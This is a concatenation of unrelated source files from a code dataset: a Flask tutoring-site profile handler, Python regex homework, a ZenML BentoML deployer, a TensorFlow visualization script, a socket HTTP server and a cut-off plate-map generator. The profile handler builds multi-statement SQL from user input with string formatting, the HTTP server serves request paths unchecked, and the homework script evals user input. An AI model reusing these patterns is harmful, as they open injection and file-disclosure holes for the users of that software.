    \")\n\n # Close the body and html tag of the page\n response_builder.write(\"\")\n response_builder.write(\"\")\n\n form = profile_form()\n form.load_user_info(session['username'], session['account_type'])\n form.process()\n\n # Return the complete html page for the client to render\n return re.sub(\">\\s*<\",\"><\", render_template_string(response_builder.getvalue(), form=form))\n\n@my_profile.route('/my-profile', methods=['POST'])\ndef my_profile_post_handler():\n\n form = profile_form(request.form)\n\n old_username = session['username']\n new_username = form.email_address.data\n full_name = form.full_name.data\n dob = form.dob.data\n gender = form.gender.data\n phone_number = form.phone_number.data\n address = form.address.data\n district = form.district.data\n province = form.province.data\n\n hourly_rate = int(form.hourly_rate.data)\n if not (hourly_rate % 10000 == 0):\n hourly_rate = (10000 - hourly_rate % 10000) + hourly_rate;\n\n biography = form.biography.data\n available_time = form.available_time.data\n\n # Check form validation\n tmp = [full_name, dob, gender, phone_number, address, district, province, hourly_rate, biography]\n if None in tmp or \"\" in tmp:\n flash(\"Bạn phải điền đầy đủ thông tin để cập nhật hồ sơ của mình.\")\n return redirect(url_for(\"my-profile.my_profile_page\"))\n\n # Security check for the available time string, this is a must, or someone nosey could\n # potentially take down the server\n try:\n days = []\n tmp = []\n for (key, value) in json.loads(requests.get(request.url_root + \"API/days-in-week\").text).items():\n days.append(key)\n for (key, value) in json.loads(requests.get(request.url_root + \"API/day-periods\").text).items():\n for i in range(0, 7):\n cell_id1 = key + '-' + days[i] + '-unavailable'\n cell_id2 = key + '-' + days[i] + '-available'\n tmp.append((cell_id1, cell_id2))\n tmp2 = available_time.split(',')\n for i in range(0, len(tmp2)):\n if tmp2[i] not in tmp[i]:\n return redirect(url_for('my-profile.my_profile_page'))\n except:\n return redirect(url_for('my-profile.my_profile_page'))\n\n # If date of birth object is not None, convert the object to string format\n dob = dob.strftime('%Y-%m-%d')\n\n # If form is validated, update the value\n try:\n\n # Read config file for database connection\n config = json.loads(open('private/hosts/database_host.json', 'r', encoding=\"utf8\").read())\n\n # Open connection to the Tutee database\n connection = mysql.connector.connect(**config)\n\n # Split available time string to process into an insert query\n temp_query = [\"DELETE FROM tt_database.user_available_time WHERE user_id=(SELECT id FROM tt_database.accounts WHERE email_address='%s')\" % old_username]\n for value in available_time.split(','):\n period = re.search(r'^[a-zA-Z]+', value).group()\n day = re.search(r'-[a-zA-Z]+-[a-zA-Z]+-', value).group()[1:-1]\n state = re.search(r'[a-zA-Z]+$', value).group()\n temp_query.append('INSERT INTO tt_database.user_available_time (user_id, available_day, available_period, state) VALUES ((SELECT id FROM tt_database.accounts WHERE email_address=\"%s\"), \"%s\", \"%s\", \"%s\")' % (old_username, period, day, state))\n temp_query = ';\\n'.join(temp_query) + \";\\n\" # Query for inserting the schedule\n\n # Perform MySQL query to update the user profile info\n cursor = connection.cursor(buffered=True)\n query = open('private/sql/sql_update_user_account.sql', 'r', encoding=\"utf8\").read()\n for cur in cursor.execute(query % (full_name, dob, gender, phone_number, address, district, province, biography, hourly_rate, available_time, new_username, old_username, temp_query), multi=True):\n if cur.with_rows:\n cur.fetchall()\n cursor.close()\n connection.commit()\n session['username'] = new_username # Update local storage of username\n\n # Perform MySQL query to retrieve the user id\n cursor = connection.cursor()\n query = 'SELECT id FROM tt_database.accounts WHERE email_address=\"%s\";' % new_username\n cursor.execute(query)\n user_id = cursor.fetchone()[0]\n cursor.close()\n\n # Save image to the filesystem of the server, return the name of the new file\n def upload_image(input_name, path, filename):\n # Start upload the images to the file system\n def allowed_file(file):\n return '.' in file.filename and file.filename.rsplit('.', 1)[1].lower() in app.config['ALLOWED_EXTENSIONS'].split(',')\n\n # Safety check for someone who is nosey and try to alter the html elements' name\n if input_name in request.files:\n image = request.files[input_name]\n # Check if a file name is specified\n if not image.filename == \"\":\n # Upload avatar and cover photo consecutively\n if image and allowed_file(image):\n filename = filename + \".\" + secure_filename(image.filename).split('.')[-1]\n saved_path = path + \"/\" + filename\n image.save(saved_path)\n\n # Update the file path of the image stored in the database\n query = \"\"\n if input_name == 'coverFile':\n query = \"UPDATE tt_database.personal_info SET cover_path='%s' WHERE id=%s;\" % (saved_path, str(user_id))\n else:\n query = \"UPDATE tt_database.personal_info SET avatar_path='%s' WHERE id=%s;\" % (saved_path, str(user_id))\n cursor = connection.cursor()\n cursor.execute(query)\n cursor.close()\n connection.commit()\n\n upload_image('coverFile', app.config['COVER_UPLOAD_FOLDER'], str(user_id))\n upload_image('avatarFile', app.config['AVATAR_UPLOAD_FOLDER'], str(user_id))\n\n # Notify user that their profile has been updated\n connection.close()\n flash(\"Hồ sơ của bạn đã được cập nhật.\")\n return redirect(url_for(\"my-profile.my_profile_page\"))\n\n except mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Access to the database was denied.\")\n print(err)\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist.\")\n print(err)\n else:\n print(\"Something wrong occurred.\")\n print(err)\n else:\n # Close connection to database\n connection.close()\n\n # Notify user that sth wrong has happened\n flash(\"Sự cố kết nối với máy chủ đã xảy ra. Vui lòng liên hệ với chúng tôi nếu như bạn đọc được thông báo này.\")\n return redirect(url_for(\"my-profile.my_profile_page\"))\n\ndef save_profile():\n return None\n","sub_path":"webapp/src/my_profile.py","file_name":"my_profile.py","file_ext":"py","file_size_in_byte":18044,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"582757264","text":"# 题目<1>\nbest_language = \"PHP is the best programming language in the world!\"\nkeyWord = \"PHP\"\nprint(best_language.replace(keyWord, \"Python\"))\n\n# 题目<2>\nweeks = \"一二三四五六日\"\nnum = eval(input(\"请输入1-7内的数字:\"))\nif num in range(1, 8):\n print(\"周{}\".format(weeks[num - 1]))\n\n# 题目<3>\nimport re\n\nline = \"Python is the BEST programming Language!\"\nres = r'^[a-z\\s]*$'\nif re.match(res, line):\n print(\"全是小写\")\nelse:\n print(\"不全是小写\")\n\n# 题目<4>\nimport re\nlines = input(\"请输入带号码的字符串:\")\nphone = re.findall(r'\\(\\d{3}\\)\\s\\d{3}-\\d{4}|\\d{3}-\\d{3}-\\d{4}', lines)\nprint(\"\".join(phone))\n\n# 题目<5>\nimport re\ntext = '今天是2022/9/24, 今天是2017/09/25, 今天是2012-07-25, 今天是2020年04月25'\nresult = re.findall(r\"(\\d{4}-\\d{1,2}-\\d{1,2})\", text)\nprint(\"\".join(result))\n","sub_path":"HW6/Group2/hw6_1521038.py","file_name":"hw6_1521038.py","file_ext":"py","file_size_in_byte":845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"129224108","text":"# Copyright (c) ZenML GmbH 2022. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at:\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express\n# or implied. See the License for the specific language governing\n# permissions and limitations under the License.\n\"\"\"Implementation of the BentoML Model Deployer.\"\"\"\nimport os\nimport shutil\nfrom pathlib import Path\nfrom typing import ClassVar, Dict, List, Optional, Type, cast\nfrom uuid import UUID\n\nfrom zenml.config.global_config import GlobalConfiguration\nfrom zenml.constants import DEFAULT_SERVICE_START_STOP_TIMEOUT\nfrom zenml.integrations.bentoml.constants import BENTOML_DEFAULT_PORT\nfrom zenml.integrations.bentoml.flavors.bentoml_model_deployer_flavor import (\n BentoMLModelDeployerConfig,\n BentoMLModelDeployerFlavor,\n)\nfrom zenml.integrations.bentoml.services.bentoml_deployment import (\n BentoMLDeploymentConfig,\n BentoMLDeploymentService,\n)\nfrom zenml.logger import get_logger\nfrom zenml.model_deployers import BaseModelDeployer, BaseModelDeployerFlavor\nfrom zenml.services import ServiceRegistry\nfrom zenml.services.local.local_service import SERVICE_DAEMON_CONFIG_FILE_NAME\nfrom zenml.services.service import BaseService, ServiceConfig\nfrom zenml.utils.io_utils import create_dir_recursive_if_not_exists\n\nlogger = get_logger(__name__)\n\n\nclass BentoMLModelDeployer(BaseModelDeployer):\n \"\"\"BentoML model deployer stack component implementation.\"\"\"\n\n NAME: ClassVar[str] = \"BentoML\"\n FLAVOR: ClassVar[\n Type[BaseModelDeployerFlavor]\n ] = BentoMLModelDeployerFlavor\n\n _service_path: Optional[str] = None\n\n @property\n def config(self) -> BentoMLModelDeployerConfig:\n \"\"\"Returns the `BentoMLModelDeployerConfig` config.\n\n Returns:\n The configuration.\n \"\"\"\n return cast(BentoMLModelDeployerConfig, self._config)\n\n @staticmethod\n def get_service_path(id_: UUID) -> str:\n \"\"\"Get the path where local BentoML service information is stored.\n\n This includes the deployment service configuration, PID and log files\n are stored.\n\n Args:\n id_: The ID of the BentoML model deployer.\n\n Returns:\n The service path.\n \"\"\"\n service_path = os.path.join(\n GlobalConfiguration().local_stores_path,\n str(id_),\n )\n create_dir_recursive_if_not_exists(service_path)\n return service_path\n\n @property\n def local_path(self) -> str:\n \"\"\"Returns the path to the root directory.\n\n This is where all configurations for BentoML deployment daemon processes\n are stored.\n\n If the service path is not set in the config by the user, the path is\n set to a local default path according to the component ID.\n\n Returns:\n The path to the local service root directory.\n \"\"\"\n if self._service_path is not None:\n return self._service_path\n\n if self.config.service_path:\n self._service_path = self.config.service_path\n else:\n self._service_path = self.get_service_path(self.id)\n\n create_dir_recursive_if_not_exists(self._service_path)\n return self._service_path\n\n @staticmethod\n def get_model_server_info( # type: ignore[override]\n service_instance: \"BentoMLDeploymentService\",\n ) -> Dict[str, Optional[str]]:\n \"\"\"Return implementation specific information on the model server.\n\n Args:\n service_instance: BentoML deployment service object\n\n Returns:\n A dictionary containing the model server information.\n \"\"\"\n predictions_apis_urls = \"\"\n if service_instance.prediction_apis_urls is not None:\n predictions_apis_urls = \", \".join(\n [\n api\n for api in service_instance.prediction_apis_urls\n if api is not None\n ]\n )\n\n return {\n \"PREDICTION_URL\": service_instance.prediction_url,\n \"BENTO_TAG\": service_instance.config.bento,\n \"MODEL_NAME\": service_instance.config.model_name,\n \"MODEL_URI\": service_instance.config.model_uri,\n \"BENTO_URI\": service_instance.config.bento_uri,\n \"SERVICE_PATH\": service_instance.status.runtime_path,\n \"DAEMON_PID\": str(service_instance.status.pid),\n \"PREDICTION_APIS_URLS\": predictions_apis_urls,\n }\n\n def deploy_model(\n self,\n config: ServiceConfig,\n replace: bool = False,\n timeout: int = DEFAULT_SERVICE_START_STOP_TIMEOUT,\n ) -> BaseService:\n \"\"\"Create a new BentoML deployment service or update an existing one.\n\n This should serve the supplied model and deployment configuration.\n\n This method has two modes of operation, depending on the `replace`\n argument value:\n\n * if `replace` is False, calling this method will create a new BentoML\n deployment server to reflect the model and other configuration\n parameters specified in the supplied BentoML service `config`.\n\n * if `replace` is True, this method will first attempt to find an\n existing BentoML deployment service that is *equivalent* to the\n supplied configuration parameters. Two or more BentoML deployment\n services are considered equivalent if they have the same\n `pipeline_name`, `pipeline_step_name` and `model_name` configuration\n parameters. To put it differently, two BentoML deployment services\n are equivalent if they serve versions of the same model deployed by\n the same pipeline step. If an equivalent BentoML deployment is found,\n it will be updated in place to reflect the new configuration\n parameters.\n\n Callers should set `replace` to True if they want a continuous model\n deployment workflow that doesn't spin up a new BentoML deployment\n server for each new model version. If multiple equivalent BentoML\n deployment servers are found, one is selected at random to be updated\n and the others are deleted.\n\n Args:\n config: the configuration of the model to be deployed with BentoML.\n replace: set this flag to True to find and update an equivalent\n BentoML deployment server with the new model instead of\n creating and starting a new deployment server.\n timeout: the timeout in seconds to wait for the BentoML server\n to be provisioned and successfully started or updated. If set\n to 0, the method will return immediately after the BentoML\n server is provisioned, without waiting for it to fully start.\n\n Returns:\n The ZenML BentoML deployment service object that can be used to\n interact with the BentoML model http server.\n \"\"\"\n config = cast(BentoMLDeploymentConfig, config)\n service = None\n\n # if replace is True, remove all existing services\n if replace is True:\n existing_services = self.find_model_server(\n pipeline_name=config.pipeline_name,\n pipeline_step_name=config.pipeline_step_name,\n model_name=config.model_name,\n )\n\n for existing_service in existing_services:\n if service is None:\n # keep the most recently created service\n service = cast(BentoMLDeploymentService, existing_service)\n try:\n # delete the older services and don't wait for them to\n # be deprovisioned\n self._clean_up_existing_service(\n existing_service=cast(\n BentoMLDeploymentService, existing_service\n ),\n timeout=timeout,\n force=True,\n )\n except RuntimeError:\n # ignore errors encountered while stopping old services\n pass\n if service:\n logger.info(\n f\"Updating an existing BentoML deployment service: {service}\"\n )\n\n # set the root runtime path with the stack component's UUID\n config.root_runtime_path = self.local_path\n service.stop(timeout=timeout, force=True)\n service.update(config)\n service.start(timeout=timeout)\n else:\n # create a new BentoMLDeploymentService instance\n service = self._create_new_service(timeout, config)\n logger.info(f\"Created a new BentoML deployment service: {service}\")\n\n return cast(BaseService, service)\n\n def _clean_up_existing_service(\n self,\n timeout: int,\n force: bool,\n existing_service: BentoMLDeploymentService,\n ) -> None:\n # stop the older service\n existing_service.stop(timeout=timeout, force=force)\n\n # delete the old configuration file\n if existing_service.status.runtime_path:\n shutil.rmtree(existing_service.status.runtime_path)\n\n # the step will receive a config from the user that mentions the number\n # of workers etc.the step implementation will create a new config using\n # all values from the user and add values like pipeline name, model_uri\n def _create_new_service(\n self, timeout: int, config: BentoMLDeploymentConfig\n ) -> BentoMLDeploymentService:\n \"\"\"Creates a new BentoMLDeploymentService.\n\n Args:\n timeout: the timeout in seconds to wait for the BentoML http server\n to be provisioned and successfully started or updated.\n config: the configuration of the model to be deployed with BentoML.\n\n Returns:\n The BentoMLDeploymentService object that can be used to interact\n with the BentoML model server.\n \"\"\"\n # set the root runtime path with the stack component's UUID\n config.root_runtime_path = self.local_path\n # create a new service for the new model\n service = BentoMLDeploymentService(config)\n service.start(timeout=timeout)\n\n return service\n\n def find_model_server(\n self,\n running: bool = False,\n service_uuid: Optional[UUID] = None,\n pipeline_name: Optional[str] = None,\n run_name: Optional[str] = None,\n pipeline_step_name: Optional[str] = None,\n model_name: Optional[str] = None,\n model_uri: Optional[str] = None,\n model_type: Optional[str] = None,\n ) -> List[BaseService]:\n \"\"\"Finds one or more model servers that match the given criteria.\n\n Args:\n running: If true, only running services will be returned.\n service_uuid: The UUID of the service that was originally used\n to deploy the model.\n pipeline_name: Name of the pipeline that the deployed model was part\n of.\n run_name: ID of the pipeline run which the deployed model\n was part of.\n pipeline_step_name: The name of the pipeline model deployment step\n that deployed the model.\n model_name: Name of the deployed model.\n model_uri: URI of the deployed model.\n model_type: Type/format of the deployed model. Not used in this\n BentoML case.\n\n Returns:\n One or more Service objects representing model servers that match\n the input search criteria.\n\n Raises:\n TypeError: if any of the input arguments are of an invalid type.\n \"\"\"\n services = []\n config = BentoMLDeploymentConfig(\n model_name=model_name or \"\",\n bento=\"\",\n port=BENTOML_DEFAULT_PORT,\n model_uri=model_uri or \"\",\n working_dir=\"\",\n pipeline_name=pipeline_name or \"\",\n pipeline_run_id=run_name or \"\",\n run_name=run_name or \"\",\n pipeline_step_name=pipeline_step_name or \"\",\n )\n\n # find all services that match the input criteria\n for root, _, files in os.walk(self.local_path):\n if service_uuid and Path(root).name != str(service_uuid):\n continue\n for file in files:\n if file == SERVICE_DAEMON_CONFIG_FILE_NAME:\n service_config_path = os.path.join(root, file)\n logger.debug(\n \"Loading service daemon configuration from %s\",\n service_config_path,\n )\n existing_service_config = None\n with open(service_config_path, \"r\") as f:\n existing_service_config = f.read()\n existing_service = (\n ServiceRegistry().load_service_from_json(\n existing_service_config\n )\n )\n if not isinstance(\n existing_service, BentoMLDeploymentService\n ):\n raise TypeError(\n f\"Expected service type BentoMLDeploymentService but got \"\n f\"{type(existing_service)} instead\"\n )\n existing_service.update_status()\n if self._matches_search_criteria(existing_service, config):\n if not running or existing_service.is_running:\n services.append(\n cast(BaseService, existing_service)\n )\n\n return services\n\n def _matches_search_criteria(\n self,\n existing_service: BentoMLDeploymentService,\n config: BentoMLDeploymentConfig,\n ) -> bool:\n \"\"\"Returns true if a service matches the input criteria.\n\n If any of the values in the input criteria are None, they are ignored.\n This allows listing services just by common pipeline names or step\n names, etc.\n\n Args:\n existing_service: The materialized Service instance derived from\n the config of the older (existing) service\n config: The BentoMlDeploymentConfig object passed to the\n deploy_model function holding parameters of the new service\n to be created.\n\n Returns:\n True if the service matches the input criteria.\n \"\"\"\n existing_service_config = existing_service.config\n\n # check if the existing service matches the input criteria\n if (\n (\n not config.pipeline_name\n or existing_service_config.pipeline_name\n == config.pipeline_name\n )\n and (\n not config.model_name\n or existing_service_config.model_name == config.model_name\n )\n and (\n not config.pipeline_step_name\n or existing_service_config.pipeline_step_name\n == config.pipeline_step_name\n )\n and (\n not config.run_name\n or existing_service_config.run_name == config.run_name\n )\n ):\n return True\n\n return False\n\n def stop_model_server(\n self,\n uuid: UUID,\n timeout: int = DEFAULT_SERVICE_START_STOP_TIMEOUT,\n force: bool = False,\n ) -> None:\n \"\"\"Method to stop a model server.\n\n Args:\n uuid: UUID of the model server to stop.\n timeout: Timeout in seconds to wait for the service to stop.\n force: If True, force the service to stop.\n \"\"\"\n # get list of all services\n existing_services = self.find_model_server(service_uuid=uuid)\n\n # if the service exists, stop it\n if existing_services:\n existing_services[0].stop(timeout=timeout, force=force)\n\n def start_model_server(\n self, uuid: UUID, timeout: int = DEFAULT_SERVICE_START_STOP_TIMEOUT\n ) -> None:\n \"\"\"Method to start a model server.\n\n Args:\n uuid: UUID of the model server to start.\n timeout: Timeout in seconds to wait for the service to start.\n \"\"\"\n # get list of all services\n existing_services = self.find_model_server(service_uuid=uuid)\n\n # if the service exists, start it\n if existing_services:\n existing_services[0].start(timeout=timeout)\n\n def delete_model_server(\n self,\n uuid: UUID,\n timeout: int = DEFAULT_SERVICE_START_STOP_TIMEOUT,\n force: bool = False,\n ) -> None:\n \"\"\"Method to delete all configuration of a model server.\n\n Args:\n uuid: UUID of the model server to delete.\n timeout: Timeout in seconds to wait for the service to stop.\n force: If True, force the service to stop.\n \"\"\"\n # get list of all services\n existing_services = self.find_model_server(service_uuid=uuid)\n\n # if the service exists, clean it up\n if existing_services:\n service = cast(BentoMLDeploymentService, existing_services[0])\n self._clean_up_existing_service(\n existing_service=service, timeout=timeout, force=force\n )\n","sub_path":"src/zenml/integrations/bentoml/model_deployers/bentoml_model_deployer.py","file_name":"bentoml_model_deployer.py","file_ext":"py","file_size_in_byte":17862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"640644185","text":"'''\nA simple algorithm for loading a previously saved model, then saving input and outputs to the database for visualization.\n'''\n\nimport numpy as np\nimport os\nimport tensorflow as tf\nimport sys\nsys.path.append('tfutils')\nsys.path.append('curiosity')\nimport json\n\nVALIDATION_DATA_PATH = '/media/data2/one_world_dataset/dataset8.lmdb'\nBATCH_SIZE = 128\n# N = 2048000\n# NUM_BATCHES_PER_EPOCH = N // BATCH_SIZE\nIMAGE_SIZE_CROP = 256\nseed = 0\n\n\n\nfrom tfutils import base, data, model, optimizer, utils\nfrom curiosity.data.images_futures_and_actions import FuturePredictionData \nimport curiosity.models.future_pred_symmetric_coupled_with_below as modelsource\nfrom curiosity.utils.loadsave import (get_checkpoint_path,\n preprocess_config,\n postprocess_config)\n\n\nCODE_ROOT = os.environ['CODE_ROOT']\ncfgfile = os.path.join(CODE_ROOT, \n 'curiosity/curiosity/configs/future_test_config_b.cfg')\ncfg = postprocess_config(json.load(open(cfgfile)))\n\n\n\n# CODE_BASE = os.environ['CODE_BASE']\n\ndef get_extraction_target(inputs, outputs, to_extract, **loss_params):\n \"\"\"\n Example validation target function to use to provide targets for extracting features.\n This function also adds a standard \"loss\" target which you may or not may not want\n\n The to_extract argument must be a dictionary of the form\n {name_for_saving: name_of_actual_tensor, ...}\n where the \"name_for_saving\" is a human-friendly name you want to save extracted\n features under, and name_of_actual_tensor is a name of the tensor in the tensorflow\n graph outputing the features desired to be extracted. To figure out what the names\n of the tensors you want to extract are \"to_extract\" argument, uncomment the\n commented-out lines, which will print a list of all available tensor names.\n \"\"\"\n names = [[x.name for x in op.values()] for op in tf.get_default_graph().get_operations()]\n for n in names:\n print(n)\n\n targets = {k: tf.get_default_graph().get_tensor_by_name(v) for k, v in to_extract.items()}\n # targets['loss'] = utils.get_loss(inputs, outputs, **loss_params)\n return targets\n\n\ndef get_loss_by_layer(inputs, outputs, **loss_params):\n retval = {}\n encode_depth = len(outputs['pred']) - 1\n for i in range(0, encode_depth + 1):\n tv = outputs['future']['future' + str(i)]\n pred = outputs['pred']['pred' + str(i)]\n my_shape = tv.get_shape().as_list()\n norm = (my_shape[1]**2) * my_shape[0] * my_shape[-1]\n retval['loss' + str(i)] = tf.nn.l2_loss(pred - tv) / norm\n return retval\n\n\ndef get_current_predicted_future_action(inputs, outputs, num_to_save = 1, **loss_params):\n '''\n Gives you input tensors and output tensors.\n\n Assumes to_extract has an inputs field (with list of arguments) and outputs field (with pairs of arguments -- assuming outputs is a dict of dicts)\n '''\n futures = inputs['future_images'][:num_to_save]\n predictions = outputs['pred']['pred0'][:num_to_save]\n actions = inputs['actions'][:num_to_save]\n currents = inputs['images'][:num_to_save]\n futures = tf.cast(futures, tf.uint8)\n predictions = tf.cast(tf.multiply(predictions, 255), tf.uint8)\n currents = tf.cast(currents, tf.uint8)\n retval = {'prediction' : predictions, 'future_images' : futures, 'current_images': currents, 'actions' : actions}\n retval.update(get_loss_by_layer(inputs, outputs, **loss_params))\n return retval\n\ndef mean_losses_forget_rest(step_results):\n retval = {}\n keys = step_results[0].keys()\n for k in keys:\n if 'loss' in k:\n plucked = [d[k] for d in step_results]\n retval[k] = np.mean(plucked)\n return retval\n\n\nparams = {\n\t'model_params' : {\n\t\t'func' : modelsource.model_tfutils_fpd_compatible,\n 'rng' : None,\n 'cfg' : cfg,\n 'slippage' : 0\n\t},\n\t'load_params' : {\n\t\t'host': 'localhost',\n 'port': 27017,\n 'dbname': 'future_pred_test',\n 'collname': 'future_pred_symmetric',\n 'exp_id': 'test12_sepval'\n\t},\n\t'save_params' : {\n\t\t'host': 'localhost',\n 'port': 27017,\n 'dbname': 'future_pred_test',\n 'collname': 'symmetric_viz',\n\t\t'exp_id': 'im_and_loss_5',\n 'save_intermediate_freq': 1,\n 'save_to_gfs': ['actions', 'prediction', 'future_images', 'current_images']\n\t},\n 'validation_params': {\n 'valid0': {\n 'data_params': {\n 'func': FuturePredictionData,\n 'data_path': VALIDATION_DATA_PATH, # path to image database\n 'random_time': False,\n 'crop_size': [IMAGE_SIZE_CROP, IMAGE_SIZE_CROP], # size after cropping an image\n \t\t'min_time_difference': 1,\n \t\t'batch_size': 128,\n },\n 'queue_params': {\n 'queue_type': 'random',\n 'batch_size': BATCH_SIZE,\n 'n_threads': 1,\n 'seed': 0,\n\t\t 'capacity': BATCH_SIZE * 100,\n },\n\t 'targets': {\n 'func': get_current_predicted_future_action,\n 'targets' : [],\n 'num_to_save' : 10\n },\n 'agg_func' : mean_losses_forget_rest,\n\t # 'agg_func': utils.mean_dict,\n 'num_steps': 1 # N_VAL // BATCH_SIZE + 1,\n #'agg_func': lambda x: {k: np.mean(v) for k, v in x.items()},\n #'online_agg_func': online_agg\n }\n }\n}\n\n\nif __name__ == '__main__':\n base.get_params()\n base.test_from_params(**params)\n","sub_path":"scripts/future_pred_symmetric_viz.py","file_name":"future_pred_symmetric_viz.py","file_ext":"py","file_size_in_byte":5538,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"154092217","text":"# Import thread module\nfrom _thread import *\n\n# Import socket module\nfrom socket import *\n\n# Import IO module\nimport io\n\n# Define server variables\nhost = '' # Default local host\nport = 9999 # Port number\nsize = 1024 # Buffer size\nnCnt = 5 # Maximum number of queued connection\n\n\n# Receive request from client and send response\ndef response(connection):\n while True:\n # Receives the request message from the client\n request = connection.recv(size)\n print(request.decode('utf-8'), '::',\n request.split()[0].decode('utf-8'), ':',\n request.split()[1].decode('utf-8'))\n # Parse the request to determine the specific file being requested\n filename = request.split()[1]\n print(filename.decode('utf-8'), '||', filename[1:].decode('utf-8'))\n\n try:\n returnType = filename.decode('utf-8')[1:].split('.')[1]\n # Get the requested file from the server’s file system\n if returnType == 'txt' or returnType == 'html':\n buffer = io.open(filename[1:], \"r\", encoding=\"utf-8\")\n data = buffer.read()\n # Create an HTTP response message consisting of the requested file preceded by header lines\n connection.send('\\nHTTP/1.1 200 OK\\n'.encode('utf-8'))\n # Set content type!!! which can display Chinese characters\n connection.send('Content-Type: text/html; charset=utf-8\\n\\n'.encode('utf-8'))\n data = data.encode('utf-8')\n\n elif returnType == 'jpg':\n buffer = io.open(filename[1:], \"rb\")\n data = buffer.read()\n connection.send('\\nHTTP/1.1 200 OK\\n'.encode('utf-8'))\n connection.send('Content-Type: image/jpg\\n\\n'.encode('utf-8'))\n\n elif returnType == 'mp3':\n buffer = io.open(filename[1:], \"rb\")\n data = buffer.read()\n connection.send('\\nHTTP/1.1 200 OK\\n'.encode('utf-8'))\n connection.send('Content-Type: audio/mp3\\n\\n'.encode('utf-8'))\n\n elif returnType == 'mp4':\n buffer = io.open(filename[1:], \"rb\")\n data = buffer.read()\n connection.send('\\nHTTP/1.1 200 OK\\n'.encode('utf-8'))\n connection.send('Content-Type: video/mp4\\n\\n'.encode('utf-8'))\n\n else:\n raise IndexError()\n\n except (IOError, IndexError):\n # If a browser requests a file that is not present in your server\n # Server return a “404 Not Found” error message\n buffer = io.open('404.html', \"r\", encoding=\"utf-8\")\n data = buffer.read()\n connection.send('HTTP/1.1 404 not found\\n\\n'.encode('utf-8'))\n data = data.encode('utf-8')\n\n # Send the response over the TCP connection to the requesting browser\n connection.send(data)\n # Close the client connection socket\n connection.close()\n\n\ndef thread(_host, _port, _n):\n # Create a TCP server socket\n serverSocket = socket(AF_INET, SOCK_STREAM)\n # Bind the socket to server address and server port\n serverSocket.bind((_host, _port))\n # Listen to nCnt connections at a time\n serverSocket.listen(_n)\n while True:\n connectionSocket, clientAddr = serverSocket.accept()\n start_new_thread(response, (connectionSocket, ))\n\n\nthread(host, port, nCnt)\n","sub_path":"lab1/MultithreadServer.py","file_name":"MultithreadServer.py","file_ext":"py","file_size_in_byte":3420,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"536996113","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Oct 4 09:46:28 2016\n\n@author: avandenbroucke\n\"\"\"\n\nimport pandas\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport matplotlib.colors as mpltcolors\nfrom ..PlateQC import barCodes\nimport os, shutil\nimport datetime\n\n\narenaFileName = 'AllMaps.csv'\n\ndef genMap(wells=384, geo='PP', style='UCP', fluid='DMSO', conc=0, version='2', impedance=None, volume=None, instrument='55X'):\n styles = ['UCP','ICP','SIG','FT','FF','DD','HC']\n fluids = ['DMSO','GLY','SP','AQ','CP','MPD','MIX']\n version = int(version)\n nrows, ncols, rowletters = wellsToRowCols(wells)\n thismap = []\n for i in range(0,nrows):\n for j in range(0,ncols):\n thiswell={}\n thiswell['Well'] = rowletters[i].upper() + str(j+1)\n thiswell['Row'] = i\n thiswell['Col'] = j\n if (volume):\n thiswell['mVolume'] = volume\n else: \n thiswell['mVolume'] = 0 \n thiswell['mFluid'] = fluid\n thiswell['mConc'] = conc\n if (impedance):\n thiswell['mImpedance'] = impedance\n else: \n thiswell['mImpedance'] = concToImpedance([conc],fluid)[0]\n thiswell['mFillHeight'] = 0\n thismap.append(thiswell)\n \n if style not in styles:\n print(' *** ERROR :: Map style ', style , ' not suported. Supported modes are : ')\n print(styles)\n return\n \n if ( style=='SIG' ):\n df = pandas.DataFrame(thismap)\n if (geo == 'PP'):\n df['mVolume'] = 30\n if (geo == 'LDV' ):\n if ( wells == 384 ):\n df['mVolume'] = 7\n if ( wells == 1536 ):\n df['mVolume'] = 4\n return df \n \n if ( style=='HC'):\n df = pandas.DataFrame(thismap)\n if (geo == 'PP'):\n thismap = populatePPHCConc(thismap, nrows, ncols) \n return pandas.DataFrame(thismap)\n \n if (wells == 384 ):\n if ( style == 'UCP' or style == 'ICP' ) :\n # Fill Volumes first\n if ( geo == 'PP'):\n if instrument == '525' :\n thismap = populatePPUCPVolumes3(thismap,nrows,ncols)\n if fluid == 'PBS':\n thismap = populate525UCP(thismap,nrows,ncols, fluids=['PBS00','PBS14','PBS200'])\n return pandas.DataFrame(thismap)\n else : \n thismap = populate525UCP(thismap,nrows,ncols,fluids=['GPS00','GPS14','GPS25'])\n return pandas.DataFrame(thismap)\n else : \n thismap = populatePPICPVolumes(thismap, nrows, ncols) \n if (geo == 'LDV'):\n if ( fluid == 'DMSO' ):\n thismap = populateLDVICPVolumes(thismap, nrows, ncols, version)\n if ( fluid == 'AQ' ) :\n thismap = populateLDVAQICPVolumes(thismap, nrows, ncols)\n if ( fluid == 'GLY' ) :\n thismap = populateLDVGPICPVolumes(thismap, nrows, ncols)\n \n if ( style == 'FT' ):\n if (geo == 'PP' ):\n if ((fluid == 'AQ' ) or (fluid == '2.4M-HEPES') or (fluid == 'PEG-3350') ):\n thismap = populatePPFTVolumes(thismap, nrows, ncols, [20,30,40,50], version )\n else:\n if (fluid == 'MPD'):\n thismap = populatePPFTVolumes(thismap, nrows, ncols, [30,35,40,45],version )\n else: \n if (version == '1' ):\n if ( fluid == 'DMSO' ):\n thismap = populatePPFTVolumes(thismap, nrows, ncols, [20,30,40,50], version)\n else:\n thismap = populatePPFTVolumes(thismap, nrows, ncols, [20,30,40,50], version)\n else: \n if ( fluid == 'DMSO' ):\n 